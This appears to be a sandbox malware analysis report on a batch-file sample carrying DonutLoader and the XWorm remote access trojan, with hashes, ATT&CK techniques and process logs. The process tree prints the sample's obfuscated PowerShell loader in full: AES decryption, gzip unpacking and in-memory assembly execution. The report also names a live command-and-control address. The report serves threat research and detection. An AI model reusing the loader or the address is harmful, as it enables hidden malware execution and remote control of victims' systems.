donutloader | 7d147dc5f1df92fb23d871b4166bda38da143d71ddb5295698ce0d2647accf3f

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/04/2026, 05:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DDoS bot net xM3L8.bat
Size 366KB
Sample260403-gpcghsd16z
SHA256 7d147dc5f1df92fb23d871b4166bda38da143d71ddb5295698ce0d2647accf3f
MD5 3c101f079d0cd142af49c8a4dfc0595c
SHA1 425bb63a1e6a085a38dc20b48af756c345529b1f
SHA512 69f96cbd5640c87f377676448973272e187993f8589b657aa2246d2fd898377d6752a07401f732c700f40e6a4bee477bb1e0fbace5fd4e9a426ff88108ef5dbd
SSDEEP 6144:6rAKca10JUVflqF1xX32K7d2NeBkq+FyIRgZGU+p0r1SxEh+iC8dnjgoV7PuvVKC:6czyAwK1xX32Igekq6NCv+pg1SEh+SdM
TLSH
T1F084EF9A2348A3E576F14269C72EE3BEF74E1551149AF3E48E6944EF31D93B80A31C43
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution donutloader xworm loader rat trojan

Malware Config

Extracted

Family

xworm

147.185.221.26:43608

Mutex

AkxIrgiU3dJxutSi

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1236-13-0x0000021968380000-0x000002196838E000-memory.dmp	family_xworm

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/3124-14-0x0000000003E60000-0x0000000003E8A000-memory.dmp	family_donutloader

DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Donutloader family
donutloader
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1236	powershell.exe
3	1236	powershell.exe
4	1236	powershell.exe
5	1236	powershell.exe
6	1236	powershell.exe
7	1236	powershell.exe
8	1236	powershell.exe
9	1236	powershell.exe
10	1236	powershell.exe
11	1236	powershell.exe
12	1236	powershell.exe
13	1236	powershell.exe
14	1236	powershell.exe
15	1236	powershell.exe
16	1236	powershell.exe
17	1236	powershell.exe
18	1236	powershell.exe
19	1236	powershell.exe
20	1236	powershell.exe
21	1236	powershell.exe
22	1236	powershell.exe
23	1236	powershell.exe
24	1236	powershell.exe
25	1236	powershell.exe
26	1236	powershell.exe
27	1236	powershell.exe
28	1236	powershell.exe
29	1236	powershell.exe
30	1236	powershell.exe
31	1236	powershell.exe
32	1236	powershell.exe
33	1236	powershell.exe
34	1236	powershell.exe
35	1236	powershell.exe
36	1236	powershell.exe
37	1236	powershell.exe
38	1236	powershell.exe
39	1236	powershell.exe
40	1236	powershell.exe
41	1236	powershell.exe
42	1236	powershell.exe
43	1236	powershell.exe
44	1236	powershell.exe
45	1236	powershell.exe
46	1236	powershell.exe
47	1236	powershell.exe
48	1236	powershell.exe
49	1236	powershell.exe
50	1236	powershell.exe
51	1236	powershell.exe
52	1236	powershell.exe
53	1236	powershell.exe
54	1236	powershell.exe
55	1236	powershell.exe
56	1236	powershell.exe
57	1236	powershell.exe
58	1236	powershell.exe
59	1236	powershell.exe
60	1236	powershell.exe
61	1236	powershell.exe
62	1236	powershell.exe
63	1236	powershell.exe
65	1236	powershell.exe
66	1236	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1236	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3124	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE
Token: SeCreatePagefilePrivilege	3124	Explorer.EXE
Token: SeShutdownPrivilege	3124	Explorer.EXE

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 2112	1052	cmd.exe	81
PID 1052 wrote to memory of 1236	1052	cmd.exe	82
PID 1236 wrote to memory of 3124	1236	powershell.exe	53
PID 1236 wrote to memory of 2560	1236	powershell.exe	43
PID 1236 wrote to memory of 1180	1236	powershell.exe	18
PID 1236 wrote to memory of 2552	1236	powershell.exe	42
PID 1236 wrote to memory of 1564	1236	powershell.exe	25
PID 1236 wrote to memory of 976	1236	powershell.exe	12
PID 1236 wrote to memory of 1356	1236	powershell.exe	24
PID 1236 wrote to memory of 1748	1236	powershell.exe	29
PID 1236 wrote to memory of 2728	1236	powershell.exe	50
PID 1236 wrote to memory of 1344	1236	powershell.exe	23
PID 1236 wrote to memory of 2720	1236	powershell.exe	49
PID 1236 wrote to memory of 2124	1236	powershell.exe	71
PID 1236 wrote to memory of 3304	1236	powershell.exe	55
PID 1236 wrote to memory of 2712	1236	powershell.exe	48
PID 1236 wrote to memory of 2704	1236	powershell.exe	47
PID 1236 wrote to memory of 1604	1236	powershell.exe	35
PID 1236 wrote to memory of 4988	1236	powershell.exe	70
PID 1236 wrote to memory of 1116	1236	powershell.exe	17
PID 1236 wrote to memory of 2296	1236	powershell.exe	75
PID 1236 wrote to memory of 1900	1236	powershell.exe	32
PID 1236 wrote to memory of 716	1236	powershell.exe	36
PID 1236 wrote to memory of 2092	1236	powershell.exe	37
PID 1236 wrote to memory of 2284	1236	powershell.exe	40
PID 1236 wrote to memory of 4984	1236	powershell.exe	77
PID 1236 wrote to memory of 1296	1236	powershell.exe	22
PID 1236 wrote to memory of 2672	1236	powershell.exe	46
PID 1236 wrote to memory of 3260	1236	powershell.exe	68
PID 1236 wrote to memory of 1876	1236	powershell.exe	31
PID 1236 wrote to memory of 1864	1236	powershell.exe	30
PID 1236 wrote to memory of 2448	1236	powershell.exe	52
PID 1236 wrote to memory of 1068	1236	powershell.exe	73
PID 1236 wrote to memory of 1260	1236	powershell.exe	21
PID 1236 wrote to memory of 2128	1236	powershell.exe	38
PID 1236 wrote to memory of 464	1236	powershell.exe	14
PID 1236 wrote to memory of 2028	1236	powershell.exe	34
PID 1236 wrote to memory of 4200	1236	powershell.exe	63
PID 1236 wrote to memory of 1636	1236	powershell.exe	27
PID 1236 wrote to memory of 3252	1236	powershell.exe	54
PID 1236 wrote to memory of 1032	1236	powershell.exe	16
PID 1236 wrote to memory of 1728	1236	powershell.exe	28
PID 1236 wrote to memory of 828	1236	powershell.exe	10
PID 1236 wrote to memory of 1220	1236	powershell.exe	20
PID 1236 wrote to memory of 2364	1236	powershell.exe	41
PID 1236 wrote to memory of 2004	1236	powershell.exe	33
PID 1236 wrote to memory of 3776	1236	powershell.exe	61
PID 1236 wrote to memory of 2592	1236	powershell.exe	67
PID 1236 wrote to memory of 1212	1236	powershell.exe	19
PID 1236 wrote to memory of 1596	1236	powershell.exe	26
PID 1236 wrote to memory of 2576	1236	powershell.exe	44
PID 1236 wrote to memory of 400	1236	powershell.exe	13

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2448

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DDoS bot net xM3L8.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('brYTBwVZiHGHsa8X4gvTh8wm7LKTHHWA1Xc3+gs280g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftO7Z85vxVu02Y3A/7YWag=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DPDpj=New-Object System.IO.MemoryStream(,$param_var); $Ezfbu=New-Object System.IO.MemoryStream; $yOEix=New-Object System.IO.Compression.GZipStream($DPDpj, [IO.Compression.CompressionMode]::Decompress); $yOEix.CopyTo($Ezfbu); $yOEix.Dispose(); $DPDpj.Dispose(); $Ezfbu.Dispose(); $Ezfbu.ToArray();}function execute_function($param_var,$param2_var){ $RbFjh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MzzAC=$RbFjh.EntryPoint; $MzzAC.Invoke($null, $param2_var);}$jjFJr = 'C:\Users\Admin\AppData\Local\Temp\DDoS bot net xM3L8.bat';$host.UI.RawUI.WindowTitle = $jjFJr;$wDDVA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jjFJr).Split([Environment]::NewLine);foreach ($pqTGk in $wDDVA) { if ($pqTGk.StartsWith('IFszFTIhZgNwChgqBOMD')) { $ZwLhz=$pqTGk.Substring(20); break; }}$payloads_var=[string[]]$ZwLhz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_2jl3tc15.s0p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2jl3tc15.s0p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/716-105-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/716-104-0x000002814B870000-0x000002814B89B000-memory.dmp

Download

memory/976-75-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/976-74-0x000001DDC2190000-0x000001DDC21BB000-memory.dmp

Download

memory/1068-125-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1068-124-0x0000021B64FA0000-0x0000021B64FCB000-memory.dmp

Download

memory/1116-100-0x0000024F7CD70000-0x0000024F7CD9B000-memory.dmp

Download

memory/1116-101-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1180-68-0x00000221B5C00000-0x00000221B5C2B000-memory.dmp

Download

memory/1180-69-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1236-13-0x0000021968380000-0x000002196838E000-memory.dmp

Download

memory/1236-9-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1236-12-0x00000219683E0000-0x0000021968426000-memory.dmp

Download

memory/1236-0-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1236-8-0x00000219682D0000-0x00000219682F2000-memory.dmp

Download

memory/1236-11-0x0000021968370000-0x0000021968378000-memory.dmp

Download

memory/1236-10-0x0000021968390000-0x00000219683D6000-memory.dmp

Download

memory/1236-166-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1236-1-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1236-167-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1236-165-0x0000021968110000-0x0000021968120000-memory.dmp

Download

memory/1260-126-0x0000021D85F80000-0x0000021D85FAB000-memory.dmp

Download

memory/1296-109-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1296-108-0x00000259DA8B0000-0x00000259DA8DB000-memory.dmp

Download

memory/1344-82-0x00000266842D0000-0x00000266842FB000-memory.dmp

Download

memory/1344-83-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1356-77-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1356-76-0x000001D935B30000-0x000001D935B5B000-memory.dmp

Download

memory/1564-73-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1564-72-0x0000024C5C390000-0x0000024C5C3BB000-memory.dmp

Download

memory/1604-92-0x000001A879170000-0x000001A87919B000-memory.dmp

Download

memory/1604-93-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1748-79-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1748-78-0x0000025D49790000-0x0000025D497BB000-memory.dmp

Download

memory/1864-120-0x0000015A30D50000-0x0000015A30D7B000-memory.dmp

Download

memory/1864-121-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1876-118-0x0000018A83F20000-0x0000018A83F4B000-memory.dmp

Download

memory/1876-119-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1900-103-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/1900-102-0x000001DCD6B90000-0x000001DCD6BBB000-memory.dmp

Download

memory/2092-110-0x000001BB1C940000-0x000001BB1C96B000-memory.dmp

Download

memory/2092-111-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2124-85-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2124-84-0x0000029347530000-0x000002934755B000-memory.dmp

Download

memory/2284-113-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2284-112-0x0000020232940000-0x000002023296B000-memory.dmp

Download

memory/2296-98-0x0000025350B30000-0x0000025350B5B000-memory.dmp

Download

memory/2296-99-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2448-123-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2448-122-0x000001FC074E0000-0x000001FC0750B000-memory.dmp

Download

memory/2552-71-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2552-70-0x0000019E6E940000-0x0000019E6E96B000-memory.dmp

Download

memory/2560-67-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2560-66-0x000001FB75AF0000-0x000001FB75B1B000-memory.dmp

Download

memory/2672-114-0x0000018A04580000-0x0000018A045AB000-memory.dmp

Download

memory/2672-115-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2704-94-0x00000150F8BC0000-0x00000150F8BEB000-memory.dmp

Download

memory/2704-95-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2712-89-0x000002C4EC1D0000-0x000002C4EC1FB000-memory.dmp

Download

memory/2712-91-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2720-86-0x0000021185570000-0x000002118559B000-memory.dmp

Download

memory/2720-87-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/2728-80-0x0000018A1C000000-0x0000018A1C02B000-memory.dmp

Download

memory/2728-81-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/3124-65-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/3124-14-0x0000000003E60000-0x0000000003E8A000-memory.dmp

Download

memory/3124-64-0x0000000002C70000-0x0000000002C9B000-memory.dmp

Download

memory/3260-117-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/3260-116-0x000001E39F800000-0x000001E39F82B000-memory.dmp

Download

memory/3304-88-0x00000159B45C0000-0x00000159B45EB000-memory.dmp

Download

memory/3304-90-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/4984-106-0x000001B8274C0000-0x000001B8274EB000-memory.dmp

Download

memory/4984-107-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download

memory/4988-96-0x0000024C80B60000-0x0000024C80B8B000-memory.dmp

Download

memory/4988-97-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

Download